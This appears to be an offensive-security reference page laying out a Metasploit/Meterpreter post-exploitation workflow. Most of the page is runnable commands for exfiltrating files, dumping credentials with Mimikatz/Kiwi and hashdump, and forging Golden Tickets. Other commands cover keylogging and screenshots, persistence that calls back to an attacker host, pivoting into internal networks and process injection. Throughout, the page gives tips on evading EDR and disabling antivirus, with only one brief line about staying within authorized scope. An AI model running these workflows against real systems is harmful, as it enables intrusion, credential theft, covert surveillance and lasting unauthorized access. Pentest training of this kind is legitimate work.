PWN ^: Exploitation

Metasploit Framework

msfconsole and Meterpreter workflow: search, exploits, payloads, sessions, post modules, pivoting.

intermediate updated 2026-08-09 Metasploit · msfconsole · Meterpreter

Metasploit Framework


Session Management

Note — + Prerequisites

  1. Successful exploit execution or payload delivery
  2. Network connectivity to handler
  3. Appropriate listener configured in Metasploit Framework

Note — + Metasploit Framework Overview Open-source penetration testing platform for exploit development and execution 4. Exploit database with thousands of modules 5. Payload generation and delivery mechanisms 6. Post-exploitation framework via Meterpreter 7. Session management and pivoting capabilities

Core Session Commands

# In msfconsole
sessions -l                    # List all active sessions
sessions -i <ID>              # Interact with session
sessions -k <ID>              # Kill session
sessions -K                   # Kill all sessions
sessions -u <ID>              # Upgrade shell to Meterpreter (if applicable)
background                    # Background current session (Ctrl+Z)

Note — + Command Breakdown

  1. sessions -l: Displays all active sessions with details (ID, type, target, timestamp)
  2. -i : Interact with specific session number to access Meterpreter prompt
  3. -v: Verbose session information including architecture and user context
  4. -q: Quiet mode with minimal output for scripting
  5. -u : Upgrades standard shell to full Meterpreter session (if architecture matches)
  6. Check “Last checkin” timestamp to verify session health and connectivity

Note — + Session Management Best Practices

  1. Always verify session type and architecture before operations
  2. Background sessions instead of closing to preserve access
  3. Monitor session check-in times for connectivity issues
  4. Upgrade shells to Meterpreter for enhanced capabilities
  5. Name sessions with -n flag for easy identification in multi-target engagements

Output Interpretation

ColumnDescriptionNotes
Session IDUnique identifier for each connectionUsed for all session commands
TypeMeterpreter (staged/stageless), shell, etc.Determines available commands
InfoTarget OS, architecture, user contextCritical for payload compatibility
Last checkinTimestamp of last communicationHealth indicator for session

Note — + OPSEC and Detection Considerations

  1. Meterpreter runs in memory (fileless) but creates network traffic patterns
  2. Reverse TCP connections generate outbound traffic—firewall/EDR may alert
  3. Session check-ins create periodic beaconing (default 5 sec)—tune with set SessionCommunicationTimeout
  4. Process injection and migration leave forensic traces in memory
  5. Network traffic patterns are signatured by modern EDR solutions

Note — + Common Errors and Solutions 6. “Session X is not valid”: Session died; check network stability and target system status 7. “Exploit completed, but no session was created”: Payload blocked by AV/EDR or architecture mismatch 8. Timeout errors: Adjust SessionExpirationTimeout and SessionCommunicationTimeout in handler options 9. Connection drops: Firewall blocking callbacks or target system rebooted


Note — + Prerequisites

  1. Active Meterpreter session
  2. User-level access minimum
  3. Understanding of target operating system file structure

Core Navigation Commands

sysinfo                       # System information (OS, arch, hostname)
getuid                        # Current user context
pwd                           # Print working directory
ls                            # List directory contents
cd <path>                     # Change directory
cat <file>                    # Display file contents
download <remote> <local>     # Download file from target
upload <local> <remote>       # Upload file to target
search -f <pattern>           # Search for files
ps                            # List processes
shell                         # Drop to system shell
exit                          # Close Meterpreter session

Note — + Command Breakdown

  1. sysinfo: Returns OS version, architecture (x86/x64), hostname, and domain membership
  2. getuid: Shows current user privilege level (SYSTEM, administrator, standard user)
  3. ls -l: Long format displaying permissions, timestamps, and file sizes
  4. download -r : Recursive download of entire directory structure
  5. search -d -f : Search specific directory for filename patterns
  6. ps -S : Filter process list by name for quick identification
  7. File operations generate disk I/O that may trigger EDR monitoring

File Search and Enumeration

# Navigate and exfiltrate
cd C:\\Users\\victim\\Documents
ls
download sensitive.docx /tmp/loot/

# Upload tool
upload /opt/tools/mimikatz.exe C:\\Windows\\Temp\\m.exe

# Find files
search -f *.kdbx
search -d C:\\Users -f *password*

# Process enumeration
ps
ps -S lsass.exe

Note — + Search Command Breakdown

  1. *search -f .kdbx: Locate KeePass database files containing credentials
  2. -d C:\Users: Limits search scope to specific directory for faster results
  3. *password*: Wildcard pattern matching for files containing “password” in filename
  4. Search operations generate high disk I/O and may be detected by behavioral analysis

Process Enumeration Analysis

Note — + Process List Interpretation

  1. Look for security products (Windows Defender, CrowdStrike, Carbon Black)
  2. Identify high-value processes (lsass.exe for credentials, browsers for sessions)
  3. Note process architecture (x86/x64) for migration compatibility
  4. Check process ownership to identify privilege levels

Note — + OPSEC and Detection Considerations

  1. File operations (download, upload, cat) generate disk I/O—EDR may flag
  2. shell drops to cmd.exe/bash—creates child process and logs (Windows Event 4688)
  3. Excessive ls or search commands indicate enumeration behavior pattern
  4. Timestomping not automatic—use timestomp separately if needed for stealth
  5. File access generates Windows Event 4663 (object access)

Note — + Common Errors and Solutions 6. “Operation failed: Access is denied”: Insufficient privileges or file in use by system 7. “Download failed”: Verify target file path, permissions, and disk space on attacker system 8. shell hangs: Adjust read timeout or use execute -f cmd.exe -i -c for interactive shell 9. Path errors on Windows: Use double-backslashes or forward slashes in paths


Credential Extraction with Kiwi (Mimikatz)

Note — + High Detection Risk Warning Kiwi/Mimikatz is heavily signatured by AV/EDR. Opening lsass.exe triggers alerts on mature EDR platforms (Defender ATP, CrowdStrike, SentinelOne). Consider alternatives: procdump → parse offline, or native comsvcs.dll method.

Note — + Prerequisites

  1. Active Meterpreter session on Windows target
  2. SYSTEM or Administrator privileges (for most functions)
  3. Target process with credentials in memory (lsass.exe)
  4. Kiwi module available in Metasploit

Note — + Mimikatz Overview Post-exploitation tool for extracting plaintext passwords, hashes, and Kerberos tickets from Windows memory

  1. Dumps credentials from LSASS (Local Security Authority Subsystem Service)
  2. Extracts Kerberos tickets for Pass-the-Ticket attacks
  3. Creates Golden Tickets for domain persistence
  4. Bypasses authentication mechanisms in Windows environments

Core Kiwi Commands

load kiwi                     # Load Kiwi extension
kiwi_cmd                      # Execute raw Mimikatz command
creds_all                     # Dump all credentials (msv, kerberos, wdigest, etc.)
creds_msv                     # Dump NTLM hashes (MSV)
creds_kerberos                # Dump Kerberos tickets
creds_wdigest                 # Dump WDigest credentials (plaintext if enabled)
creds_ssp                     # Dump SSP credentials
creds_tspkg                   # Dump TsPkg credentials
lsa_dump_sam                  # Dump local SAM hashes
lsa_dump_secrets              # Dump LSA secrets
golden_ticket_create          # Create Kerberos Golden Ticket

Note — + Command Breakdown

  1. load kiwi: Loads Mimikatz extension into Meterpreter session (architecture must match)
  2. creds_all: Attempts all credential extraction methods simultaneously
  3. creds_msv: Extracts NTLM hashes from MSV1_0 authentication package
  4. creds_wdigest: Extracts plaintext passwords (Windows 7/2008R2 only, disabled by default on 10+)
  5. lsa_dump_sam: Dumps local SAM database hashes (equivalent to hashdump)
  6. Commands auto-execute in SYSTEM context if migrated to appropriate process

Practical Credential Extraction

# Load Kiwi module
load kiwi

# Dump all credential types
creds_all

# Dump only NTLM hashes
creds_msv

# Dump Kerberos tickets
creds_kerberos

# Dump local SAM database
lsa_dump_sam

# Execute custom Mimikatz command
kiwi_cmd "sekurlsa::logonpasswords"

# Create Golden Ticket (requires krbtgt hash)
golden_ticket_create -d domain.local -u Administrator -s <SID> -k <NTLM_hash>

Note — + Output Interpretation

  1. Authentication Id: Correlates credentials to specific logon sessions
  2. User Name: Account associated with credentials
  3. NTLM hashes: Use for Pass-the-Hash attacks
  4. Kerberos tickets: Extract .kirbi files for Pass-the-Ticket or Overpass-the-Hash
  5. WDigest: Plaintext passwords (only on Windows 7/2008R2 or if manually enabled)

Credential Attack Techniques

Credential TypeAttack MethodUse Case
NTLM HashPass-the-HashLateral movement without plaintext password
Kerberos TicketPass-the-TicketImpersonate user sessions
WDigest PlaintextDirect authenticationAccess services requiring password
krbtgt HashGolden TicketDomain-level persistence

Note — + OPSEC and Detection Considerations

  1. HIGH DETECTION RISK: Kiwi/Mimikatz heavily signatured by AV/EDR
  2. Opening lsass.exe triggers alerts on mature EDR (Defender ATP, CrowdStrike, SentinelOne)
  3. Windows Event 4656 (handle to lsass.exe) + 4663 (lsass.exe read) = common detection
  4. Credential Guard (Windows 10+) blocks many Mimikatz techniques
  5. Memory scanning will detect Mimikatz strings/patterns
  6. Consider alternatives: procdump → parse offline, or native comsvcs.dll method

Note — + Common Errors and Solutions

  1. “Load Mimikatz failed”: Anti-virus blocked; migrate to different process or disable AV
  2. “Access is denied” / “ERROR kuhl_m_sekurlsa”: Not running as SYSTEM—use getsystem first
  3. “No credentials found”: WDigest disabled (Windows 10+); rely on NTLM hashes instead
  4. Kiwi module not available: Update Metasploit or use standalone Mimikatz
  5. Architecture mismatch: Ensure Meterpreter session matches target (x64 for x64 Windows)

Note — + Alternative Credential Extraction Methods 6. procdump + offline parsing: Less noisy, avoids real-time EDR hooks 7. comsvcs.dll method: Native Windows DLL for LSASS dumping 8. Task Manager dump: Manual method, less suspicious than automated tools 9. SSP/AP registration: Custom Security Support Provider for credential interception 10. Registry hive extraction: Export SAM/SYSTEM hives for offline cracking


Privilege Escalation

Note — + Prerequisites

  1. Active Meterpreter session
  2. User-level access minimum
  3. Exploitable privilege escalation vector (misconfiguration, unpatched vulnerability)
  4. Understanding of target Windows version and patch level

Core Privilege Escalation Commands

getsystem                     # Attempt automatic privilege escalation
getprivs                      # Display current process privileges
use post/multi/recon/local_exploit_suggester   # Suggest priv-esc exploits
use exploit/windows/local/*   # Local exploit modules
run post/windows/gather/win_privs   # Enumerate Windows privileges

Note — + Command Breakdown

  1. getsystem: Tries multiple techniques (named pipe impersonation, token duplication)
  2. -t flag: Specify technique: getsystem -t 1 (technique 1: named pipe impersonation)
  3. getprivs: Lists current process privileges (SeDebugPrivilege, SeImpersonatePrivilege critical)
  4. local_exploit_suggester: Compares installed patches against known privilege escalation exploits
  5. Always run getuid and getprivs before attempting escalation

Privilege Escalation Workflow

# Check current privileges
getuid
getprivs

# Attempt automatic escalation
getsystem

# If getsystem fails, background and run suggester
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# Run suggested exploit
use exploit/windows/local/ms16_075_reflection
set SESSION 1
set LHOST <your_IP>
run

# Verify escalation
getuid   # Should show "NT AUTHORITY\SYSTEM"

Note — + Privilege Escalation Technique Analysis

  1. Technique 0 (Named Pipe Impersonation): Creates named pipe, impersonates SYSTEM token
  2. Technique 1 (Token Duplication): Duplicates existing SYSTEM token from service process
  3. Technique 2 (Named Pipe Impersonation - Alternative): Variation of technique 0
  4. Modern Windows (10+) has protections against named pipe impersonation attacks

Important Windows Privileges

PrivilegeAttack MethodDescription
SeDebugPrivilegeProcess injectionDebug and inject into any process
SeImpersonatePrivilegePotato attacksImpersonate tokens (RoguePotato, PrintSpoofer)
SeBackupPrivilegeFile accessRead any file on system
SeRestorePrivilegeFile modificationWrite to any file on system
SeLoadDriverPrivilegeKernel exploitLoad unsigned drivers

Note — + OPSEC and Detection Considerations

  1. getsystem creates named pipes—EDR may detect pattern (e.g., \\\\.\\pipe\\random)
  2. Token manipulation = suspicious API calls (OpenProcess, DuplicateTokenEx)
  3. Local exploits may crash processes or generate kernel logs
  4. Prefer misconfigurations (unquoted service paths, weak permissions) over exploits when possible
  5. Windows Event 4673 logs sensitive privilege use

Note — + Common Errors and Solutions 6. “Operation failed: Access is denied”: Technique blocked by OS or AV; try alternative method 7. “Could not obtain SYSTEM”: No exploitable path; enumerate manually or use external tool 8. Exploit crashes session: Unstable target or wrong OS version—check sysinfo first 9. Suggester returns no results: System fully patched; focus on misconfigurations

Note — + Alternative Privilege Escalation Vectors 10. Unquoted Service Paths: Service paths with spaces and no quotes 11. Weak Service Permissions: Services modifiable by low-privilege users 12. Always Install Elevated: Registry setting allowing MSI installation as SYSTEM 13. Scheduled Tasks: Tasks running as SYSTEM with writable binaries 14. DLL Hijacking: Missing DLLs in service search paths


Local Hash Extraction (Non-Kiwi)

Note — + Prerequisites

  1. Active Meterpreter session on Windows
  2. SYSTEM or Administrator privileges
  3. Access to SAM/SYSTEM registry hives

Core Hash Extraction Commands

hashdump                      # Dump local SAM password hashes
run post/windows/gather/credentials/credential_collector   # Collect multiple credential sources
run post/windows/gather/smart_hashdump   # Dump hashes from SAM & domain cache

Note — + Command Breakdown

  1. hashdump: Classic command requiring SYSTEM privileges for registry access
  2. credential_collector: Comprehensive module collecting from multiple sources (SAM, LSA, registry)
  3. smart_hashdump: Enhanced version with domain cache support and better error handling
  4. Always escalate to SYSTEM with getsystem before hash extraction

Hash Extraction Workflow

# Escalate to SYSTEM
getsystem

# Dump local hashes
hashdump

# Alternative: Run smart_hashdump module
background
use post/windows/gather/smart_hashdump
set SESSION 1
run

# Collect all available credentials
use post/windows/gather/credentials/credential_collector
set SESSION 1
run

Note — + Hash Format Output Interpretation Format: username:RID:LM_hash:NTLM_hash:::

  1. LM hash: Often aad3b435b51404eeaad3b435b51404ee (empty/disabled on modern Windows)
  2. NTLM hash: Modern hash format for Pass-the-Hash attacks or offline cracking
  3. RID 500: Built-in Administrator account (high-value target)
  4. RID 501: Built-in Guest account (usually disabled)

Hash Attack Techniques

Hash TypeToolCommand Example
NTLMhashcathashcat -m 1000 hashes.txt rockyou.txt
NTLMJohn the Ripperjohn --format=NT hashes.txt
LMhashcathashcat -m 3000 hashes.txt rockyou.txt
Pass-the-HashImpacketpsexec.py -hashes :NTLM admin@target

Note — + OPSEC and Detection Considerations

  1. Reading SAM registry hive is detectable (registry access events)
  2. Less noisy than Kiwi/Mimikatz but still generates logs
  3. Consider exfiltrating registry hives manually (reg save HKLM\\SAM, reg save HKLM\\SYSTEM) for offline extraction
  4. File %SystemRoot%\\System32\\config\\SAM locked while OS running—use registry hive method
  5. Windows Event 4657 logs registry value modifications

Note — + Common Errors and Solutions 6. “Access is denied”: Not SYSTEM—run getsystem first before hash extraction 7. “Failed to dump hashes”: SAM database locked or corrupted; try smart_hashdump or registry export 8. Empty hash output: Target is domain-joined with no local accounts used 9. Module fails: Try classic hashdump command instead of post modules

Note — + Offline Hash Extraction Alternative 10. Export registry hives: reg save HKLM\\SAM sam.hive and reg save HKLM\\SYSTEM system.hive 11. Download hives from target system 12. Extract locally using secretsdump.py from Impacket 13. Less detection risk (no LSASS interaction, standard registry operations)


Screenshot and Keylogging

Note — + Prerequisites

  1. Active Meterpreter session
  2. User-level access (screenshots require active GUI session)
  3. Keylogger requires injection into user process (explorer.exe, browser)
  4. Active desktop session (RDP, physical console, or virtual desktop)

Core Surveillance Commands

screenshot                    # Capture single screenshot
screenshare                   # Stream live screenshots
keyscan_start                 # Start keylogger
keyscan_dump                  # Dump captured keystrokes
keyscan_stop                  # Stop keylogger

Note — + Command Breakdown

  1. screenshot -v false: Disable automatic view/display of captured screenshot
  2. screenshot -p : Save screenshot to specific file path
  3. screenshare -q : Set JPEG quality (1-100) for bandwidth optimization
  4. keyscan_start: Hooks keyboard input at OS level
  5. Migrate to explorer.exe or browser process before starting keylogger for stability

Surveillance Workflow

# Capture screenshot
screenshot

# Save screenshot to specific file
screenshot -p /tmp/loot/desktop.png

# Stream screenshots (real-time)
screenshare

# Start keylogger
keyscan_start

# Wait, then dump keystrokes
keyscan_dump

# Stop keylogger
keyscan_stop

Note — + Output Interpretation

  1. Screenshot: Saved to local attacker system; check for sensitive data on screen (passwords, documents)
  2. Keystroke dump: Plain text; look for passwords typed in forms or applications
  3. Parse keylogs: Search for credentials (login forms, password managers, terminal commands)
  4. Timestamp analysis: Correlate keystrokes with user activity patterns

Note — + OPSEC and Detection Considerations

  1. screenshot uses Windows GDI API—low detection but generates memory artifacts
  2. screenshare creates persistent network traffic (bandwidth spike)—may alert network operations
  3. Keylogger hooks keyboard input—EDR detects SetWindowsHookEx, GetAsyncKeyState APIs
  4. Migrate to explorer.exe or browser for keylogger stability and stealth
  5. AV signatures exist for Meterpreter keylogger patterns
  6. Memory forensics can detect injected keylogger code

Note — + Common Errors and Solutions

  1. “No active desktop session”: RDP/GUI not active; screenshots fail on Server Core or no logged-in user
  2. “Could not start keylogger”: Injection failed—try migrating to different process (explorer.exe)
  3. Screenshot blank/black: Target using Citrix/RDP session with restricted display capture
  4. Keylogger crashes: Process terminated or protected by security software

Note — + Keylogger Best Practices

  1. Migrate to stable, long-running process (explorer.exe) before starting
  2. Dump keystrokes periodically to avoid losing data if session dies
  3. Parse output for credential patterns (username/password forms)
  4. Consider process-specific keylogging for targeted data collection
  5. Stop keylogger when not actively collecting to reduce detection risk

Persistence Mechanisms

Note — + High Detection Risk Warning Persistence mechanisms leave indicators of compromise (IOCs) on disk and in registry. These are heavily monitored by EDR and will generate alerts. Always document IOCs for post-engagement remediation.

Note — + Prerequisites

  1. Active Meterpreter session
  2. Administrator or SYSTEM privileges (for system-wide persistence)
  3. Write access to startup folders, registry, or scheduled tasks
  4. Understanding of target security monitoring capabilities

Core Persistence Commands

run persistence -h            # Show persistence options (deprecated; use module)
run exploit/windows/local/persistence_service   # Install as Windows service

Note — + Persistence Options (Legacy)

  1. -U: User-level persistence (HKCU startup)—survives only for specific user
  2. -X: System-level persistence (HKLM startup, requires admin)—survives all users
  3. -i : Callback interval between beacon connections
  4. -r : Reverse connection IP address for callback
  5. Legacy run persistence script deprecated in Metasploit 6.x—use post modules instead

Modern Persistence Implementation

# Legacy persistence (if available)
run persistence -U -i 60 -p 443 -r <your_IP>

# Modern method: Use post module
background
use exploit/windows/local/persistence_service
set SESSION 1
set LHOST <your_IP>
set LPORT 443
run

# Alternative: Manual registry key
execute -f reg -a "add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Updater /t REG_SZ /d C:\\Windows\\Temp\\payload.exe"

# Scheduled task persistence
execute -f schtasks -a "/create /tn \"Updater\" /tr C:\\Windows\\Temp\\payload.exe /sc onlogon /ru System"

Note — + Persistence Technique Breakdown

  1. Registry Run keys: Executes on user logon (HKCU) or system boot (HKLM)
  2. Windows Service: Runs as service with SYSTEM privileges
  3. Scheduled Task: Flexible triggers (logon, boot, time-based)
  4. WMI Event Subscription: Stealthy, survives reboots, difficult to detect
  5. Always save cleanup script path from module output for IOC removal

Persistence Technique Comparison

TechniquePrivilege RequiredStealthDetection Method
Registry Run KeyUserLowEvent 4657, Registry monitoring
Windows ServiceAdministratorLowEvent 7045, Service enumeration
Scheduled TaskAdministratorMediumEvent 4698, Task enumeration
WMI EventAdministratorHighWMI repository inspection
DLL HijackingUser/AdminHighProcess monitoring, DLL auditing

Note — + OPSEC and Detection Considerations

  1. HIGH DETECTION RISK: Persistence = IOC left on disk/registry
  2. Registry Run keys (HKCU/HKLM \\Software\\Microsoft\\Windows\\CurrentVersion\\Run) heavily monitored
  3. Scheduled tasks generate Event 4698 (Windows Security Log)—blue teams watch this
  4. Service creation = Event 7045 (System Log)—immediate alert trigger
  5. Payload on disk = AV/EDR will scan and likely detect
  6. Consider WMI, WMI Event Subscriptions, or DLL hijacking for stealthier persistence
  7. Always have cleanup plan and document IOCs for post-test remediation

Note — + Common Errors and Solutions 8. “Insufficient privileges”: Requires admin for HKLM/service persistence; try user-level -U 9. “Could not write payload”: AV deleted file or path doesn’t exist—check permissions 10. Session not re-connecting: Firewall blocked outbound, wrong IP/port, or payload detected 11. Module fails: Deprecated script; update Metasploit or use alternative module

Note — + Stealthier Persistence Alternatives 12. WMI Event Subscriptions: Harder to detect, survives reboots 13. DLL Hijacking: Legitimate process loads malicious DLL 14. COM Hijacking: Redirects COM object instantiation 15. Accessibility Features: Replace sethc.exe, utilman.exe (requires SYSTEM) 16. AppInit_DLLs: Injects DLL into all processes (Windows 7 only)


Pivoting and Port Forwarding

Note — + Prerequisites

  1. Active Meterpreter session
  2. Target host multi-homed (connected to multiple networks)
  3. Understanding of target network topology and segmentation
  4. proxychains or similar tool for SOCKS proxying

Note — + proxychains Overview Tool for forcing network traffic through SOCKS or HTTP proxies

  1. Tunnels application traffic through proxy chains
  2. Supports SOCKS4, SOCKS5, and HTTP proxies
  3. Dynamic or strict proxy chain modes
  4. Essential for pivoting through compromised hosts

Core Pivoting Commands

run autoroute -h              # Add routes through Meterpreter session
run autoroute -s <subnet>     # Add subnet route
portfwd -h                    # Port forwarding help
portfwd add -l <local_port> -p <target_port> -r <target_IP>   # Forward port
portfwd list                  # List active forwards
portfwd delete -l <local_port>   # Remove forward

Note — + Command Breakdown

  1. autoroute -s <subnet/CIDR>: Route network traffic through Meterpreter session
  2. portfwd add -L <bind_IP>: Specify local bind IP for port forwarding
  3. portfwd -R: Reverse port forward (target to attacker; less common)
  4. autoroute -p: Display all configured routes and associated sessions
  5. Always verify target network interfaces with ipconfig/ifconfig before adding routes

Pivoting Workflow

# View target network interfaces
ipconfig   # Windows
ifconfig   # Linux

# Add route to internal subnet
run autoroute -s 10.10.10.0/24

# Verify route added
run autoroute -p

# Forward RDP port from internal host
portfwd add -l 3389 -p 3389 -r 10.10.10.50

# Access via localhost
xfreerdp /v:127.0.0.1 /u:admin

# Set up SOCKS proxy for full pivoting
background
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 4a
run -j

# Configure proxychains and scan internal network
# Edit /etc/proxychains4.conf: socks4 127.0.0.1 1080
proxychains nmap -sT -Pn 10.10.10.0/24

Note — + SOCKS Proxy Setup Breakdown

  1. SRVHOST 127.0.0.1: Bind proxy server to localhost
  2. SRVPORT 1080: Standard SOCKS port (configurable)
  3. VERSION 4a: SOCKS4a protocol with DNS proxying support
  4. run -j: Run as background job (non-blocking)
  5. Configure proxychains4.conf with socks4 127.0.0.1 1080 before use

Port Forwarding Techniques

TechniqueUse CaseCommand Pattern
Local Port ForwardAccess internal service via localhostportfwd add -l <local> -p <remote> -r <IP>
Reverse Port ForwardExpose attacker service to target networkportfwd add -R -l <local> -p <remote> -L <IP>
SOCKS ProxyRoute all traffic through pivotauxiliary/server/socks_proxy
Dynamic TunnelingSSH-style dynamic forwardingUse with proxychains

Note — + OPSEC and Detection Considerations

  1. Pivoting generates east-west (lateral) traffic—anomaly for workstations
  2. SOCKS proxy traffic encapsulated in Meterpreter session—inspect session traffic patterns
  3. Port forwards create listening sockets on attacker—egress firewall may block initial callback
  4. Large data transfers through pivot = bandwidth anomaly
  5. NetFlow/Zeek logs may reveal unusual internal connections
  6. Workstation-to-server traffic patterns differ from normal user behavior

Note — + Common Errors and Solutions

  1. “Route addition failed”: Subnet overlap or incorrect CIDR notation—verify with autoroute -p
  2. Port forward fails: Target port not open or host unreachable—verify with ping, portscan module
  3. SOCKS proxy not working: Check proxychains.conf syntax and SOCKS version (4a vs 5)
  4. “Connection refused” on forwarded port: Service not running on target or local port conflict
  5. Slow pivot performance: Network latency or bandwidth limitations—optimize traffic

Note — + Advanced Pivoting Techniques 6. Multi-hop pivoting: Chain multiple compromised hosts for deep network access 7. DNS tunneling: Exfiltrate data through DNS queries when other protocols blocked 8. SSH dynamic forwarding: Alternative to SOCKS proxy using SSH -D flag 9. VPN setup: Establish full network-layer access through compromised host 10. HTTP/HTTPS tunneling: Bypass proxy restrictions using application-layer protocols


Process Migration

Note — + Prerequisites

  1. Active Meterpreter session
  2. Appropriate privileges (admin required for SYSTEM processes)
  3. Understanding of target process architecture (x86/x64)
  4. Knowledge of stable, long-running processes on target

Core Migration Commands

ps                            # List processes
migrate <PID>                 # Migrate to target process
getpid                        # Show current process ID

Note — + Command Breakdown

  1. ps -S : Filter process list by name for quick identification
  2. ps -A : Filter by architecture (x86/x64) for compatibility
  3. migrate : Injects Meterpreter payload into target process memory
  4. getpid: Verify current process ID before and after migration
  5. Always migrate away from initial exploit process (often unstable or will close)

Migration Workflow

# List processes
ps

# Find stable process (e.g., explorer.exe)
ps -S explorer.exe

# Migrate to explorer
migrate 1234   # Use actual PID from ps output

# Verify migration
getpid

# Migrate to x64 process if session is x86
ps -A x64
migrate 5678

# For stealth, migrate to legitimate long-running process
ps -S svchost.exe
migrate 2468

Note — + Process Selection Criteria

  1. Stability: Long-running processes unlikely to terminate (explorer.exe, svchost.exe)
  2. Architecture: Match Meterpreter architecture (x86/x64) to target process
  3. Privilege level: Match current privileges (user→user, SYSTEM→SYSTEM)
  4. Stealth: Legitimate system processes blend with normal operations
  5. User context: Same user session to avoid cross-session injection alerts
ProcessPrivilegeStabilityStealthNotes
explorer.exeUserHighHighUser desktop process, always running
svchost.exeSYSTEMHighMediumMultiple instances, choose carefully
spoolsv.exeSYSTEMHighMediumPrint spooler service
winlogon.exeSYSTEMHighLowProtected process on modern Windows
lsass.exeSYSTEMHighVery LowProtected, instant EDR alert

Note — + OPSEC and Detection Considerations

  1. Migration = process injection (CreateRemoteThread, WriteProcessMemory)—EDR signatures exist
  2. Migrating to security product process (AV, EDR agent) = instant detection/crash
  3. Injecting across session boundaries (different user) requires SeDebugPrivilege
  4. Memory forensics: Injected code lacks corresponding image file—indicator of compromise
  5. Prefer processes with same privilege level and architecture as current session
  6. API call patterns (OpenProcess→VirtualAllocEx→WriteProcessMemory→CreateRemoteThread) heavily monitored

Note — + Common Errors and Solutions

  1. “Migration failed”: Target process protected, wrong architecture, or insufficient privileges
  2. Session dies after migration: Target process crashed or terminated—choose stable process
  3. “Access is denied”: Need SYSTEM to migrate into SYSTEM processes—run getsystem first
  4. Architecture mismatch: Migrating x86→x64 or vice versa fails—match architectures
  5. Process protected: Windows 10+ protects certain processes (PPL, ELAM)—choose alternative

Note — + Migration Best Practices 6. Migrate immediately after exploitation to stable process 7. Avoid security software processes (will crash session) 8. Match architecture to maximize command compatibility 9. Choose processes with multiple instances (svchost.exe) for better hiding 10. For credential dumping, migrate to same session as target user 11. Document original PID for forensic cleanup and incident response


Post-Exploitation Modules

Note — + Prerequisites

  1. Active Meterpreter session
  2. Background session to run modules from msfconsole
  3. Appropriate privileges for target module functionality
  4. Understanding of target environment (Active Directory, workgroup, domain-joined)

Enumeration Modules

# Enumeration
background
use post/windows/gather/enum_domain                # Enumerate AD domain info
use post/windows/gather/enum_shares                # Enumerate network shares
use post/windows/gather/enum_applications          # List installed software
use post/windows/gather/enum_logged_on_users       # Active user sessions
use post/windows/gather/enum_patches               # Installed patches/KBs

# Set session and run
set SESSION 1
run

Note — + Enumeration Module Breakdown

  1. enum_domain: Queries Active Directory for domain controllers, users, groups, trust relationships
  2. enum_shares: Discovers SMB shares on network (potential lateral movement targets)
  3. enum_applications: Lists installed software with versions (vulnerability research)
  4. enum_logged_on_users: Identifies active sessions (credential harvesting targets)
  5. enum_patches: Cross-references missing KBs with exploit database
  6. Modules save results to Metasploit loot/credentials database—access with loot, creds commands

Credential Gathering Modules

# Credential gathering
use post/windows/gather/credentials/windows_autologin   # Auto-login creds
use post/windows/gather/credentials/credential_collector
use post/multi/gather/firefox_creds                    # Browser credentials
use post/windows/gather/credentials/vnc                # VNC passwords

# Set session and run
set SESSION 1
run

Note — + Credential Module Breakdown

  1. windows_autologin: Extracts plaintext credentials from registry (auto-logon feature)
  2. credential_collector: Aggregates credentials from multiple sources (registry, files, memory)
  3. firefox_creds: Decrypts saved Firefox passwords from profile
  4. vnc: Extracts VNC passwords from registry (weak encryption)

Network Enumeration Modules

# Network
use post/multi/gather/ping_sweep                   # Ping sweep internal network
use post/windows/gather/arp_scanner                # ARP scan
use post/windows/gather/enum_domain_computers      # List domain computers

# Set session and run
set SESSION 1
set RHOSTS 10.10.10.0/24   # For network modules
run

Note — + Network Module Breakdown

  1. ping_sweep: ICMP echo requests to discover live hosts on internal subnet
  2. arp_scanner: Examines ARP cache and performs ARP scans (Layer 2 discovery)
  3. enum_domain_computers: Queries Active Directory for all domain-joined computers
  4. Network scans generate traffic patterns detectable by NIDS/NIPS

Practical Module Examples

# Enumerate domain
background
use post/windows/gather/enum_domain
set SESSION 1
run

# Find network shares
use post/windows/gather/enum_shares
set SESSION 1
run

# Check installed patches
use post/windows/gather/enum_patches
set SESSION 1
run

# Discover live hosts on internal network
use post/multi/gather/ping_sweep
set SESSION 1
set RHOSTS 10.10.10.0/24
run

# Dump saved browser credentials
use post/multi/gather/firefox_creds
set SESSION 1
run

Note — + Module Output and Database Integration

  1. loot command: View all collected files and data from post modules
  2. creds command: Display extracted credentials from all sources
  3. hosts command: Show discovered hosts from network enumeration
  4. services command: List identified services on enumerated hosts
  5. All module results automatically saved to Metasploit database for analysis

Module Output Interpretation

Module TypeKey InformationAction Items
Domain EnumerationDomain controllers, trust relationshipsMap AD infrastructure
Share EnumerationWritable shares, sensitive dataLateral movement, exfiltration
Patch EnumerationMissing KBsPrivilege escalation exploits
User EnumerationActive sessions, admin usersCredential harvesting targets
Network DiscoveryLive hosts, open portsExpand attack surface

Note — + OPSEC and Detection Considerations

  1. Enumeration modules generate suspicious activity (LDAP queries, SMB enumeration, network scanning)
  2. Domain queries hit domain controller—logs at DC (Event 4662, 4624)
  3. Share enumeration = SMB traffic spike—NetBIOS/SMB anomaly detection
  4. Ping sweeps = ICMP flood or rapid connection attempts—NIDS/NIPS alerts
  5. Spread activity over time to blend with normal traffic
  6. Consider using native Windows tools (PowerShell, net commands) for stealthier enumeration

Note — + Common Errors and Solutions

  1. “No results returned”: Insufficient privileges or target not domain-joined—verify with getuid
  2. Module hangs: Network timeout—adjust set TIMEOUT value in module options
  3. “Session not valid”: Session died during module run—check session stability with sessions -l
  4. Database not initialized: Run msfdb init to set up PostgreSQL database
  5. Empty loot output: Module failed silently—check msfconsole logs for errors

Note — + Post-Exploitation Module Workflow 6. Start with system enumeration (enum_domain, enum_patches) 7. Gather credentials from all sources (credential_collector, browser modules) 8. Enumerate network (ping_sweep, arp_scanner) 9. Identify lateral movement targets (enum_shares, enum_domain_computers) 10. Document all findings in engagement notes for reporting


Final OPSEC Reminders

Note — + Critical Security Considerations

  1. Meterpreter = known malware; mature EDR will detect/block without evasion
  2. Consider custom payloads, obfuscation, or C2 frameworks (Cobalt Strike, Covenant, Sliver) for real-world ops
  3. Always operate within authorized scope; maintain detailed logs and IOC lists for remediation
  4. Test payloads in isolated lab before production engagement
  5. Have out-of-band C2 backup if primary session burned

Note — + Engagement Best Practices 6. Document all IOCs (files, registry keys, services, scheduled tasks) for client remediation 7. Maintain communication with client point of contact during testing 8. Have emergency stop procedures if production systems affected 9. Use encryption for exfiltrated data to protect client confidentiality 10. Provide comprehensive cleanup scripts and remediation guidance in final report


References

  1. Offensive Security Metasploit Unleashed
